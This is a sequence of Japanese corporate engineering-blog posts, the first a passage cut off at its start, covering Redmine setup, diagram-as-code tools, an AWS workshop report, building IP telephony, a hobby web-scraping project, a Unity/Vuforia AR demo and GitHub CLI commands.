親子構造にして親が子のチケットをすべてみる、といった事も可能ですが、今回は新卒用の1つのプロジェクトがあれば大丈夫そうです。 モジュールの設定 例えば、ロール側でニュースの機能に権限を振っていたとしても、プロジェクト側でニュースのモジュールをONにしていなければ、このプロジェクトではニュース機能は提供されません。 上図、チケットトラッキングは日報そのものが入ります。wikiはこのシステムの利用マニュアルを記載していて、ファイルはその記事内に添付するためのファイルのために利用しています。 メンバーの設定 メンバー欄は個人情報が満載なので割愛しますが、選んだユーザーがどのロールかを必ず設定します。ここで、誰がどのロールかをプロジェクトに設定していきます。 チケットトラッキングの設定 チケットトラッキングのタブでも、このプロジェクトで使うトラッカーやカスタムフィールドを明示的に指定します。 運用管理者の頭が良ければよいほど、業務フローの派生を単一のトラッカーの設定に落とし込んで提供できるんだと思います。（遠い目） これらを抜かりなく設定すると、利用者の皆様にもおなじみの、 こんな画面がやっと使えるようになります。 チケットの入力画面はこんな感じに仕上がりました。 終わりに 本記事、解説以上マニュアル未満なので雰囲気と謳っていますが、 設定をする時の考え方や雰囲気、伝わりましたでしょうか？ 他にも細かい設定やらTipsはたくさんあるのですが、 Redmineの管理者権限がざっくりとやる流れの説明としては以上です。 「へぇ、こんな仕組みになっているんだ」 「あ、こういう事が出来るなら使ってみようかな」 と、思って頂ける方が一人でもいれば嬉しいです。 ・・・てか、めんどくさくね？ ・・・まぁ、手間はかかりますよね・・・。 でも、エンタープライズな本格的なものって、大体そういうもんじゃね？という気もします。 Backlogがインスタントラーメンだとすると、Redmineはラーメン屋のラーメンです。 Backlogなら「運用ルールはこうだからね！」だけで終わるもんを、わざわざ運用設計して設定しているので、そりゃ手間暇がかかります。かつ、上手く作れないならカップ麺のほうが美味しいです。運用してれば変更管理もあります。それも手間っちゃ手間。 でも、運用ルールだけで運用できる範囲には限界があります。 限界を超えて声掛けしたりルールを周知したり教育したりミスをダブルチェックするより、 システム制御の方が楽になる、という損益分岐点のようなものが必ずあり、 規模と戦うのであればRedmineのような複雑さが頼もしく、結果的には楽が出来る、という事もあると思っています。 個人的には、カップラーメンより上手いラーメンが作れるなら、そりゃ作ってあげたいという気持ちもあります。根っこはエンジニアだもん。 一方で、やはり運用管理者に一程度の知識経験を求める所から、自由度が高く複雑で難しいのは事実です。 業務フローが頻繁に変わる時期や、個々人で全然違う業務フローの人たちが同じチームです、といった場合、運用者が伴走することのコストは増大します。 また、インフラの運用の側面でもメジャーアップデートへの対応やプラグインの互換性など、それを乗り切るだけのリソースが必要にはなります。 インフラ面においてはホスティングサービスへの移管で軽減されますが、代償としてSQLの直叩きとかメール受信結果をチケットに起票する系の機能は、恐らく使えません。 なにより、UXにおいてはRedmineの管理者権限の機能を理解している人の有無が大きいです。 手作りでも不味いなら仕方ないです。Backlogには勝てません。 お急ぎの新規プロジェクトでRedmineの運用管理経験者がいないのであれば、僕はBacklogを勧めます。 でも、大規模向けなのにオープンソースで無料です。 タダです。 今回は扱っていないですがプラグインによる拡張性もあり、 日本の開発陣の貢献によって2006年からの開発も現在に至るまで連綿と続いていて、 プロダクトとしての安定感も抜群。 AWSのLightsailでもWordPressみたいな感じでサクっと利用可能です。 謝辞 マイナビ社として、Redmineは数多く利用しているOSSの中の1つで、このプロダクトに支えられているプロジェクトが社内には沢山存在します。 改めて、過去から現在までの全ての開発者と開発コミュニティの方に感謝御礼を申し上げます。

はじめに サービスのインフラにAWSやGCPを用いる場合、ドキュメントなどで構成図の画像を見かけることはよくあるかと思います。 また、同じくドキュメントに貼り付けられたER図の画像ファイルを見かけることもあるでしょう。 今回は、これらをGithub上でいい感じに管理していきたいと思います。 ER図を描く ER図をコードで描く方法はいくつかあります。 React-diagramsやReact-flow-chartなんかは、もしかしたら触ったことがあるかもしれません。 ですが、個人的にはvscodeにDraw.ioの拡張を入れ、svgファイルを直接触るが良いと考えています。 ※hoge.drawioファイルをsvgにエクスポートしてhoge.drawio.svgとすると、svgファイルをdraw.ioの拡張で直接編集できます なぜsvgファイルが良いのか Githubは、コードだけではなくsvgの差分を直接見ることができるためです。 参考に、vscodeのDraw.io拡張で描いたER図のsvgファイルにPRを出し、Githubで比較した際の様子をスクリーンショットしました。 このように、Githubではsvgを画像として比較することができます。 また、上記の参考例では左右に並べる形で比較していますが、画像下にあるメニューを操作することで他の形式で比較することも可能です。 構成図を描く 構成図を書く際は、先に挙げたvscodeのDraw.io拡張か、 Diagrams というツールを用いると良いかと思います。 個人的には、特にDiagramsがお勧めです。 Diagramsの何が良いのか 構成図を描く上で一番の問題は、うまいことノードを配置するセンスだと思います。 Diagramsは、このセンスがなくともいい感じに構成図を作成することができます。 他の多くのツールが場所XにYという内容のノードを置き、別のノードZと繋げるという過程を経るのに対し、DiagramsはYというノードを作成してZというノードと繋げるだけで済みます。 どこに置くのか、という点を考えなくても良いので、私のように構成図を描くセンスを磨いてこなかった人間としては嬉しい限りです。 Diagramsの環境を作成する Diagramsの利用には、GoかPython環境が必要です。 社内ではPython利用者の方が多いため、今回はPythonで環境を構築しようかと思います。 パッケージマネージャには、Poetryを使用します。 前提条件として、Python3が導入されていることとします。以下のサンプルでは3.9を用いています。 poetry のインストール pip install poetry# macの場合はbrewでも可 パッケージのインストール poetry init# 以下の質問まで適当に入力Search for package to add (or leave blank to continue): diagramsEnter package # to add, or the complete package name if it is not listed: [0] diagrams [1] railroad-diagrams [2] ipfabric-diagrams [3] airflow-diagrams [4] infrastructure-diagrams [5] sphinxcontrib-diagrams [6] mkdocs-diagrams [7] sphinx-diagrams [8] neon-diagrams [9] diagrams-adapters > 0 # 以下も適当な値を入力またはEnter # Poetryの仮想環境をプロジェクト内に作成 poetry config --local virtualenvs.in-project true # パッケージのインストール poetry install 構成図の作成 参考として、公式ドキュメントのサンプルを作成します 適当な位置に以下の内容のファイルを作成 # sample.pyfrom diagrams import Diagramfrom diagrams.aws.compute import EC2from diagrams.aws.database import RDSfrom diagrams.aws.network import ELBwith Diagram("Web Service", show=False): ELB("lb") >> EC2("web") >> RDS("userdb") 仮想環境で処理を実行 poetry run python sample.py うまく作成できました。 コードにも、特に位置に関する記述をしていないことがわかるかと思います。 終わりに 今回紹介した以外にもこうした図を作成するツールは他にもあります。 例えばmermaid.jsなどであれば、githubや一部のドキュメント共有ツールなどで利用できたりします。 いずれにせよ、その場でだけあればいいといった状況でなければ、コード管理できる環境に寄せるべきである以上、何かしらGithub等で管理できるようにしておいた方が良いかと思います。 もしもしそういった環境に無いのであれば、ぜひ今後はこうした環境で管理できるようにしてみてください。

はじめに 先日、AWSが主催するAWSワークショップ『AWS JumpStart』に参加してきました。 2日間の 9:00 - 18:00 で行う事になりますので、業務の調整が必要にはなりそうですがとても学びが多いワークショップでした。 カリキュラム カリキュラム内容は以下の通りです。 アーキテクチャ検討 とあるテーマに沿ってアーキテクチャの検討・設計します チームで行います 私が参加したワークショップは4人一組で行いました 機能要件が決められており、それをどうアーキテクチャに落とし込んでいくかが肝になります 最後はチームごとに 成果発表会 の時間があります アーキテクティングのコツ AWS Solution Architect Associate（SAA）レベルの知識の座学を行います 事前に案内される動画の視聴を行っておくと理解がスムーズです 以下「事前学習」にリンクを貼ってます ハンズオン（アーキテクチャの構築） AWSからハンズオン用の環境を与えられ、実際にアーキテクチャを構築します マネジメントコンソールからポチポチと作っていきます 参加ツール Amazon Chime 本ワークショップに参加するためのビデオ通話ツールです。主催側から事前にURLが共有され、そちらから参加する形となります Slack サポーターや参加メンバーとコミュニケーションがとれるチャットツールです こちらも事前にチャンネル招待のメールが届きます 私は当時招待メールを見逃し、前日夜に慌てて登録しました（戒め） BlueScape アーキテクチャ作成時に利用するホワイトボードツールです クラウド上でチームメンバーとアイコンをポチポチしながらアーキテクチャを構築していきます 参加日 2022年 08/09(火) - 08/10(水) https://awsjumpstart220809.splashthat.com 本ワークショップの開催は2回目で、今後も何度か開催される予定のようです イベントスケジュール 以下のプログラムでワークショップを行いました。 事前学習 開催当日までに以下の動画を視聴しておくよう主催側から案内がありました。 AWS知識有／無問わず、一度視聴しておいたほうが良さそうです。 視聴中にすでに知ってる内容であると判断したら、2倍速にして視聴してもよさそうです（ある程度時間も要するので） 【はじめてのアーキテクティング (60分)】 https://www.youtube.com/watch?v=cD870G8uqhY 【AWS入門】 https://youtu.be/Kb7ZEBwqUAI?t=2006 プログラムの詳細 オープニング 主に以下の内容について説明がありました。 ワークショップの趣旨の説明 スケジュールについて 「アーキテクチャ検討」におけるチームごとにツールアクセス先のURLの共有 Amazon Chime BlueScape 上記「参加ツール」参照 アーキテクティングのコツ 上記の「事前学習」と内容が被るところもありますが、主催側から「アーキテクチャ検討」を行う上でのコツをスライドに沿って説明いただけます。 課題発表/チーム自己紹介 「アーキテクチャ検討」での課題が発表されます。 また、 基本的に このタイミングで初めてチームメンバーを知る事ができます。 アーキテクチャ検討 本ワークショップの一番の目玉です。 あるテーマに沿って、チームメンバーで話合いながらBlueScape上にアーキテクチャ（構成図）を作成していきます。 「課題発表」にて提示された要件定義が箇条書きで示されていて、それらを解決するサービスを模索し構成図におこしていきます。 また2日間のあいだに、20分×3回、サポーターの方に質問・相談できる時間が設けられています。 チームとして動いているため、かなり頭を使います。 適度に休憩を提案するタイムキーパーを作るのがおすすめです。 ハンズオン（ALB+ECS+RDS） ECS（AWSのコンテナサービス）を採用した簡易的なアーキテクチャを、マネジメントコンソール（GUI）上で作成します。 手順書（パワポ）と主催のデモを基に構築していきます。 ※最後には個別フォローもあり EC2ではなくECSを採用していたため、 コンテナについても同時に学びたい自分 にとっては学びの大きいハンズオンでした。 また セキュリティグループという壁に阻まれる可能性が高い ので、手順を意識して（リソース同士の通信状態を把握して）行うのが良いです。 成果発表会 発表時間は7~10分程度、残りの10分程度で他チームから質問を受けたり、主催からレビューを受けられます。 発表の仕方は自由ですが基本的にはBlueScapeで作成した構成図を画面共有しながら、チームメンバー内で1人選出し発表するのが基本的なケースでした。 アーキテクチャに正解はない（多様の構成がある） というスタンスなので、間違いを恐れずに肩の力を抜いて発表すれば間違いないです。大丈夫です。怖くない。 クロージング・懇親会 主催者から全体の総括があり、懇親会は自由参加となります。 懇親会では、サポーターの方が考えたアーキテクチャを公表・解説していただけました（アーキテクチャに正解はないというのはありつつも、見本となるアーキテクチャは気になりますよね） 我々のチーム成果物 2日間の汗と涙の結晶がこちらです！ 特徴としては、ECS/Fargate構成としてコンテナそれぞれに機能を持たせ、AutoScalingで冗長化構成をとりました。 また機能要件について軽く触れると以下のような要件を考慮したアーキテクチャを構想する必要がありましたので、それぞれの要件に沿ったAWSサービスを構成図に組み込みました。 1秒当たりのリクエスト数 データの保存期間 ピーク利用時間帯 提供エリア　など 感想 アーキテクチャ検討ではチームメンバー4人のうち1人は同社同部署メンバー、もうお二方は別会社でアプリ開発に携わっている方々でした。 我々は普段インフラ寄りの業務に携わっているため、アプリ／インフラの両面を考慮した議論ができました。 そのため、アプリ面での意見がとても新鮮に思えました（アプリ／インフラ側それぞれの意見で議論になった際の落としどころの決定が難しいと感じ、個人的な課題だなと感じました。 さらにハンズオンにてECSを学べた点も、これからコンテナを業務で触る自分にとっては勉強になりました。 全体を振り返ると、実践的という点でかなり勉強になりました。 書籍やセミナー等でAWS各サービスの名前と概要・用途は学んでいましたが、その知識を実務や今回の場で100％活かせるかといったらそうではないので、今回のワークショップへの参加で次のステップに進めたように感じました（ドリブルやパス・シュートを練習していた人間が、初めてコートに立たせてもらえたときの感覚に似ています） そのため、多少の知識はあれど、実務的な設計の経験がない（少ない）人にとっては、得るものが大きいワークショップであるかなと思いました。一方で知識に不安がある方は、 グループワークでの話し合いに参加していけるように という観点で、上記でお伝えした「事前学習」を行っておくことをおススメします。

はじめに 皆さん、こんにちは。ITディベロップメント1部のI.Kです。 何気なく普段使っている電話ですが、これってどんな仕組み何だろう？とふと思ったので、「電話ってそもそもどんな仕組み？」「エンジニアでも作れるの？」を調べてみました。 電話の種類（固定電話とIP電話）について 電話には「固定電話（さらにアナログ電話とひかり電話の2種類がある）」と「IP電話」の2種類があります。2種類の違いは何かと言うと、音声通話を行うネットワークの接続方法が異なります。 固定電話は、従来の固定電話回線）を用いて電話と電話を接続しますが、IP電話は主にインターネットを構成する時に用いられるIPネットワークを利用して音声通話を実現します。 IP電話の仕組みをもう少し詳しく説明すると、 SIP(Session Initiation Protocol)サーバーに、自分と通話相手の電話番号とIP情報を保持し、SIPサーバーにIPを指定してリクエストすることで電話の発信を可能にしています。 電話ってシステムエンジニアに作れるのか？ 固定電話は流石に作れませんが、IP電話であれば何と作れてしまいます！！ （もちろんそれなりの知識やスキルは必要ですが） ここでは2種類の例を使って、少し詳しく解説していきます。 方法①オープンソースソフト「Asterisk」等を使ったSIPサーバーから構築する 一つ目のやり方は「オープンソースソフト「Asterisk」等を使ったSIPサーバーから構築する」です。 過去の実装例で、とある自治体がIP電話500端末を外注すると2億円かかるところ、内製で構築を行い820万で完成させた事例がありました。2億→820万ってすごいですね・・。 ざっくり実装イメージは以下の通りです。 （参考サイト： http://st-asterisk.com/archives/22 ） Lunixサーバーの設定ファイルに下記のような記載をすることで、内線同士の発信が可能になります。 [default]exten => 201,1,Dial(SIP/201,30,r)exten => 201,2,Hangup()exten => 202,1,Dial(SIP/202,30,r)exten => 202,2,Hangup() exten => のあとに、内線番号,処理順番,処理コマンドを書きます Dial()：発信する。 Answer()：着信に応答する。 Playback()：サウンドファイルを再生する。 Hangup()：通話を切断する。 調べた感じ、難易度が高そう(内線の構築方法は簡単そうだが、外線の設定が大変そう)だと感じました。 通話料が掛からないことがメリットですが、サーバー代金はかかります。そうなると保守作業も大変そうだなという印象です。 方法②CPaaS(Communications Platform as a Service)を利用する 二つ目のやり方は「CPaaS(Communications Platform as a Service)を利用する」です。 CPaaSは通信機能をAPIで接続するクラウドサービスのことで、音声通話やSMS、映像会議、通話録音・音声認識を実行するAPIを従量課金で買う形になります。安く簡単に始められますが、通話時間が長いと費用は高くつく恐れもあります。 有名どころですと「AmazonConnet」です。 SFA連携、録音、通話モニタリング機能あり、音声分析、文字起こし機能のある電話基盤サービスとなります。 他にも「Twilio」「pluscomm」「Bandwidth」などがあります。 ざっくり実装イメージは以下の通りです。 ※Pythonの実装サンプル ▼Twilio ▼Bandwidth インポートを行って、call関数に引数を渡すと電話をかけられる形になります。 これであればWEBアプリを作る感覚に近いなと感じました。 おわりに 今回は「電話」について取り上げました。 普段何気なく使っているものですが、仕組みは案外知らないものなので、一つ勉強になって良かったです。 最後までお読みいただきありがとうございました。 引用 https://atmarkit.itmedia.co.jp/ait/articles/0711/16/news146_3.html https://www.twilio.com/ja/docs https://dev.bandwidth.com/

はじめに みなさんはWEBサイトをスクレイピングしたことありますか？ 僕は入社前に内定者サイトをスクレイピングしたことがあります。 そこで、スクレイピングをやってみたい人のために、内定者サイトをスクレイピングしたときのことを記事に書きました。 ※入社した今、既に内定者サイトは閉鎖されており、スクショも撮っていなかったので画像などはないのですが、イラストでイメージしてもらえれば幸いです。 もともとスクレイピングに関する経験があったわけではなく手探りでやっていった結果なので、いろいろ間違いや不正確な記述があると思いますが、参考程度にご覧ください！ スクレイピングとは スクレイピングという言葉を聞いたことがあるでしょうか？ wikipedea によると ウェブサイトから情報を抽出するコンピュータソフトウェア技術のこと。 らしいです。 例えば、全国のカラオケチェーン店で一番平日昼のフリータイムが安い店舗を探したいとします。 500個近いすべての店舗のサイトを見れば、一番安い店を見つけることができるでしょう。 しかし、この作業には膨大な手間がかかり、見逃しなどもあるかもしれません。そういった作業を自動化できるのがスクレイピングです。 上記の例で言うと、まずカラオケ店の公式サイトから店舗一覧や各店舗のサイトへのリンクを取得して、それぞれの店舗のサイトにアクセスします。 次に、そのサイトのhtmlを解析することによってほしい情報(平日昼のフリータイム料金)を取得します。 これはあくまでイメージなので実際はこんな簡単にうまくはいかないと思いますが、こういったことがライブラリを使えば意外と簡単にできちゃいます。面倒な仕事はコンピューターにさせちゃいましょう！！ 注意点 スクレイピングは、法律的にグレーなところがあります。実際、過去に逮捕者も出ているようです。 趣味の範囲でやっている限りは逮捕されることはあまりないと思われますが、サーバーの負荷にならないように適宜スリープを入れるなどして、迷惑にならないようにしましょう。 内定者サイトをスクレイピングした背景 以前の内定者サイトがどのようなものだったのかは知らないのですが、 私の時は、内定者の自己紹介ページ、チャット機能、採用部からのお知らせなどいろいろな機能があって、僕は入社後にマイナビで働く日を想像しながら日夜眺めていました。 ただ一つ、内定者サイトに不満がありました。 それは、自己紹介ページにおいて、職種での絞り込みが出来ないことです。 内定者サイトの一覧画面からは職種が分からず、総合職も含めた全同期の中からなかなかシステム職の同期を見つけることが難しかったです。 エリアでの絞り込みはできたので、システム職が働くことになる東京(関東だったかも？)を選択すればある程度絞り込むことはできたのですが、総合職の割合が多いため、システム職の同期を効率的に見ていくことができませんでした。 そこで、研修でPythonを使うということは聞いていたので、就職前の3月にPythonの復習も兼ねて内定者サイトをスクレイピングしてシステム職の同期を見つけてみようと考えました。 環境・言語・ライブラリ 今回は、以下のような環境でスクレイピングを行いました。 windows Python Selenium Beautiful Soup 実装の概要 実際のコードの処理の流れにそって、説明していきたいと思います。 次のような順番でプログラムは処理を行います。 ログイン それぞれの内定者の自己紹介ページに行く htmlを解析してシステム職か判断する 詳しくは、以下で説明します。 ログイン 内定者サイトは全世界に公開されているわけではなく、パスワードなどを入力してログインする必要があります。 ログインが必要ないサイトと比べていろいろめんどくさくなるのですが、今回はPythonのSeleniumというライブラリを使用することによって、比較的簡単に侵入(?)することができました。 Seleniumは UI テストを自動化する目的で開発されたWeb ブラウザの操作を自動化するためのツールです。パスワードのフォームを選択してそこにパスワードを記述する処理を書いてあげればログインすることが出来ます。 ちなみに、1日に10回くらいログインすると警戒されて、CAPTCHA(私はロボットではありません的なやつ)が追加されるので、そうなったらお手上げでした。 僕は当時、夜から作業を始めて、CAPTCHAが出てきたら寝る、という生活をしていました。 個々の内定者の自己紹介ページに行く ログイン状態を維持したまま、自己紹介ページの東京エリアのリンクを選択して移動します。 ページネーションが実装されており、1ページあたり20人しか表示されていないので、そのページの最後の人のページをみたら、次のページへのリンクを選択しなければなりません。 また、最後のページの最後の内定者に到達したらそこで処理を終了します。 こういった細々とした場合分けに結構手間をとられた気がします。 また、サーバーへ過剰な負荷を与えないよう、1人の自己紹介ページに行くたびに1秒スリープをさせました。そのせいもあってすべての内定者をチェックするのに数分くらいかかってた気がします。 システム職か判断する 個々の内定者の自己紹介ページのhtmlをBeautiful Soupによって解析します。htmlを解析し、職種の所の文字列だけを抜き出し、それがITエンジニアなら、名前と自己紹介ページのurlをリストに格納します。 内定者サイトの場合、ddというクラス名の表の3行目に職種名があったので、そこの値を抜き出しました。 なお、職種は内定者が記入するものではなくもともと設定されている項目なので、表記の仕方が人によって違うなどの問題はありませんでした。 実際にプログラムの実行結果を見て頂きたいのですが、内定者サイトは既に閉鎖されており試すことが出来ないので、ここでは「マイナビ」を例にして簡単なスクレイピングを行い、Beautiful Soupを利用したスクレイピングの威力をご覧頂こうと思います。 まず、requestsというライブラリを使用して、「マイナビ」の内容を取得します。 from bs4 import BeautifulSoupimport requestsurl = "https://job.mynavi.jp/2024/?utm_medium=e-cpc&utm_source=google-text&utm_campaign=2661271774_16693468728&gclid=CjwKCAjw1ICZBhAzEiwAFfvFhKXVJyim0w6ZeJF2VcnY3NUXfVxN-q_KMSNR0gC_ylFNhcS9TGrCaRoChUAQAvD_BwE"r = requests.get(url)soup = BeautifulSoup(r.text, "lxml") Beautiful Soupのprettifyというメソッドを利用すると、「マイナビ」の内容を見やすく整理してくれます。 <!DOCTYPE html><html lang="ja"> <head> <meta charset="utf-8"/> <title> マイナビ2024 - 学生向けインターンシップ・就職情報サイト </title> <meta content="学生向けインターンシップ・就職情報サイト。インターンシップ情報や就活スケジュールなどの就活準備コンテンツを提供しています。" name="description"/> <meta content="noarchive" name="robots"/> <meta content="telephone=no" name="format-detection"/> <meta content="summary" name="twitter:card"/> <meta content="@mynavi2024" name="twitter:site"/> <meta content="マイナビ2024 - 学生向けインターンシップ・就職情報サイト" property="og:title"/> ... ... あとは、取得したい箇所のCSSセレクタを指定することによって好きな情報をとってこれます。 print(soup.find_all('title'))# <title>マイナビ2024 - 学生向けインターンシップ・就職情報サイト</title>を取得 print(soup.find_all('p', class_='list-hdg'))# <p class="list-hdg"><b>広告</b></p>, <p class="list-hdg"><b>福祉サービス</b></p>, <p class="list-hdg"><b>福祉サービス</b></p> このように、わずか数行のコードでサイトから好きな情報をとってくることが出来ました。あとは取得した文字列で場合分けしても良いし、いろいろなサイトに回って情報を収集しても良いです。 夢が広がりますね！ その後 実は、システム職の名前が分かったところで満足して、それぞれの内定者ページを見に行くことはしていませんでした。本末転倒です。 しかも入社してしばらくして22卒の内定者サイトは閉鎖してしまったので、もう何も残されていません。。 ただ、内定者サイトで予習なんてしなくても仲良くなれる良い同期に恵まれたのでオッケーということにしています👌 ぜひみなさんも、スクレイピングを使ってめんどくさい作業は全てコンピューターに任せましょう！

はじめに どうも、こんにちは。 突然ですが皆さん、 拡張現実 ってご存じですか？ 名前の通り「現実を拡張する」もので、現実世界のものに、本来存在しない仮想の情報を表示します。 AR という呼び方のほうが耳にするかもしれません。 ※この説明ではピンとこない方向けに端的に言ってしまうと、ポケ○ンGOをイメージしてもらえればと思います。 今回はARを使って自分を召喚してみました。 ARの種類 この素敵なAR君ですが、大きく分けて３つの種類があります。 ロケーションベースAR、マーカー型AR、マーカーレス型AR です。 それぞれがどんなものか、以下で簡単に説明したいと思います。 ロケーションベースAR GPSなど、各種センサーによって位置情報を取得し、その場所に基づいて情報を画面上に表示する手法です。地図アプリなんかで活用されています。 マーカー型AR マーカーと呼ばれる図をカメラで読み取り、その位置に情報を表示する手法です。マーカに基づくので、細かい位置調整などが比較的容易ですが、現実世界にマーカーを用意する必要があります。 マーカーレス型AR 名前の通りマーカーは必要とせず、カメラ映像から得た情報(風景や建造物、看板、人など)を識別し、それぞれに合わせた情報表示する手法です。 マーカー型ARを使ってみよう さて、前置きはこれくらいにして実際にARで遊んでみましょう。 今回はマーカー型でやっていきたいと思います。 今回使用するもの 以下の２つのものを使用します。それぞれのダウンロードに関しては記載を省きます。 Unity いわずもがな、ユニティ・テクノロジー社が提供する、名の通ったゲーム開発プラットフォームです。手軽に3Dゲームの開発ができ、高いシェアを誇っています。ゲーム以外の分野でも活用することができるため、様々なものが作成されています。 Vuforia Vuforiaは、AR開発においてよく使用されているAR開発用ライブラリです。カメラからオブジェクトや空間を認識し、AR体験のできるアプリを開発できます。認識精度が高いことで知られており、平面のマーカー認識、立体のマーカー認識、カメラからマーカーが離れた際の追従認識など、様々な事が簡単に実装させてくれます。 すごい子です 。 VuforiaでARマーカーを作成しよう！ さっそくですが、ARマーカーを作成します。 VuforiaにはもともといくつかのARマーカーが用意されていますが、自分で任意の画像をARマーカーにすることも可能です。せっかくなので今回はARマーカーも自作していきたいと思います。 まずは Vuforia Engine developer portal にアクセスします。 ARマーカーを作成！…のまえにライセンスをゲットする必要があります。 ページにアクセスしたらログインをして、Developタブを選択し、Lisence Managerを開きます。開いたら、「Get Basic」をクリックしてライセンスを作成。作成時にライセンスの名前を聞かれるので、任意で設定して作成！ 作成ができたら、ここで一度作成したライセンスを開き、License Keyをコピーしておきましょう。 次にTarget Managerタブを選択し、「Add Database」をクリック。ここで作ったデータベースにARマーカーを作成していきます。 作成時にポップアップが表示されるので、任意の名前を入力し、TypeはとりあえずDeviceを選択します。 さあ、データベースを作成したらいよいよARマーカーの作成です！自分が作成したデータベースを開き、「Add Target」を選択します！ 今回は平面の画像をARマーカーとしたいので、TypeはImageを選択します。 File欄では任意の画像を設定します。ここで設定した画像がそのままARマーカー委になるわけですね。 今回は自分を召喚することを最終目標としているので、拾ってきたフリーの魔法陣の画像を使用。魔法陣っていいよねやっぱり。 Widthはなんとなく1です。 Name欄は言わずもがな、ノリでお願いします。 これだけ入力してAddを押せば、もうARマーカーの完成です。自分のデータベースに新しく魔法陣が追加されていることが分かります。 ちなみにRating、星マークの欄ですが、これは「ARマーカーとしてどれだけ適しているか」みたいなことを指し示しています。おそらく。 作成したARマーカーを使用するためには、データベースをダウンロードする必要があります。「Download Database(All)」からダウンロードをします。今回はUnityで使用したいので、Unity Editorにチェックを入れます。 ここまでやればもうARマーカーの準備は完了、あとはUnity側でちょちょっと遊ぶだけですね。 召喚だってできる。そう、Unityならね… ここからはUnityでの作業に入ります。Unityで適当に3Dのプロジェクトを立てて、そこにVuforiaを入れていきます。ここはUnityのバージョンによって手順が異なるので省略します。ノリでいきましょう。(※筆者はVuforiaのWebページからダウンロードしてきて入れました) では、始めて行きましょう。 まずは先ほどダウンロードしたデータベースをプロジェクトにインポートします。Unityのプロジェクトを開いた状態で、ダウンロードしたファイルをダブルクリックするだけで可能です。ウインドウが表示されるので、全部チェックされた状態でImportしてしまいましょう。 つぎに、 ARCamera を追加していきます。Vuforiaが無事入っていればGameObjectにVuforia Engineの欄が追加されているはずなので、その中からARCameraを選択します。 このタイミングで、デフォルトで生成されるCameraは削除しておきます。 ここからはARCameraの設定をしていきたいので、ARCameraを選択し、Vuforia Behaviourの 「Open Vuforia Engine configuration」 を開きます。 するとLisence Keyを入力する欄があるので、前章でコピーしておいたキーを入力してください。 さあ、ここまででもうARマーカーを捉えるためのカメラの設定は済みました。次はARマーカーを設定していきます。 先ほどのARCameraと同じく、GameObjectから辿っていくと Image Target というものがあるので、こちらを作成してください。こいつがARマーカです。 作成したImage Targetを選択すると 「Image Target Behaviour」 という欄があるので、Typeを 「From Database」 に設定してください。 そうするとその下のDatabaseの欄とImage Targetの欄で自身が作成したデータベースとARマーカが選択できるようになるので、任意のものを選択してください。 やったぞ！！魔法陣だ！！！やった！やった！！！！！ (魔法陣じゃなくて召喚陣では…？) さて、カメラができた、ARマーカーもできた、とくればあと足りないのでARマーカーを読み取ったうえで出てくるもの。ARで表示するもの。 そう、私です。 というわけでUnity内に、本日召喚する私を用意しました。 大学時代の私です。今回はこいつを召喚していきます。 というわけでUnity内に配置していきます。 ドーン！ デカ過ぎんだろ… このままではデカ過ぎます。こんなにデカくてはテニスもできません。 ということでサイズを調整します。 今回の方法だと、Unity上のImageTargetと表示するもの(今回は筆者)のサイズ関係はそのままARで再現されます。つまり今のままだと、魔法陣(召喚陣)に対してとんでもなくデカすぎる筆者が表示されてしまうわけです。 ほどほどのサイズに調整しました。いい感じですね。 最後に自分の画像をImageTargetの子オブジェクトにしたら完了です。子オブジェクトにするというのがピンとこない方もいらっしゃるかもしれませんが、まああまり気にしなくても良いです。二つのオブジェクトを関連付けるくらいの気持ちで見ていてください。画像のオブジェクトをドラッグアンドドロップでImageTargetにもっていくだけでできます。 それでは…実行！！！ でたああああああああああああああああああああああああああああああああああああああああ！！ ついに自分を召喚することができました。手乗りサイズの可愛い(??)筆者です。ARマーカーによって位置や向きが決まるので、もちろんARマーカーを動かすと表示しているオブジェクトも動きます。 いやあ、満足です。 終わりに 無事、自分を召喚することができました。ARって面白いですね。 これ、今回は画像を使用していますが、もちろんUnity内の3Dオブジェクトや、インポートしてきた3Dモデルでも可能です。 動きのあるものでも可能なので、夢が広がりますね。 エフェクトを付けたりもできるわけです。 人はだれしも、いつかは自分を召喚したくなる時が来るかと思います。 そんな時にはぜひためしてみてはいかがでしょうか。 それでは、またお会いしましょう。

はじめに GitHubを開くのが面倒くさい。。なんで、わざわざブラウザ操作してPull Request作らんといかんのか。 後回しにすると忘れるので気がついた時にissueを書きたいけど、ブラウザを立ち上げると集中力が切れるのでエディタやターミナルからissueを書きたい。。 割とよくある悩みだとは思います。少なくとも私はそうです。 そんなわけで、それを解決するためのツール、 GitHub CLI を今回触ってみようかと思います。 GitHub CLIは、GitHub公式が提供しているCLIツールです。 ghコマンドを用いて、issueの立ち上げ、PRの作成及びレビューなどのGitHubで行う各種操作を実行できます。 インストール Macの場合は、Homebrewで持ってこれます。 Linuxであればaptやdnf, yum等でインストール可能です。 Linuxでのinstallについて、詳しくは こちら を参照 # UbuntuなどのDebian系type -p curl >/dev/null || sudo apt install curl -ycurl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \&& sudo apt update \&& sudo apt install gh -y# CentOS後継やRHELなどのFedora系sudo dnf install 'dnf-command(config-manager)'sudo dnf config-manager --add-repo https://cli.github.com/packages/rpm/gh-cli.reposudo dnf install gh# Amazon Linuxなどのdnfが使用できない一部環境のFedora系sudo yum-config-manager --add-repo https://cli.github.com/packages/rpm/gh-cli.reposudo yum install gh 使い方 --help オプションによる解説がかなり充実しているため、わからなければヘルプを見れば大体わかるかと思います。 主に使用すると思われるのは、以下のコマンドです。 PRが作成されたブランチを確認したい gh pr list で既存のPRを確認 gh pr checkout <number> で該当のブランチにPRのID指定でチェックアウト ローカルで確認したPRにapproveをつける gh pr review <number> -a コメントや変更依頼なども可能です PRの作成 push後に gh create --title "タイトル" -b "本文" 今いるディレクトリのリポジトリをブラウザで開く gh browse issueの作成 gh issue create -t "タイトル" -b "本文" -l bug issueの確認 gh issue list gh issue view <number> --web オプションでブラウザを開くこともできる 終わりに Push後にいちいちブラウザ開いてPRを作成するのは大変面倒だったため、このコマンドは嬉しいコマンドでした。 ブラウザを開かずとも VScodeの GitHub Pull Requests and Issues でも可能ではあったのですが、こういったことはコマンドでできた方が無駄にタブを増やさず済むのでコマンドで済ませた方が良いかと思います。 よければぜひ触って見てください。

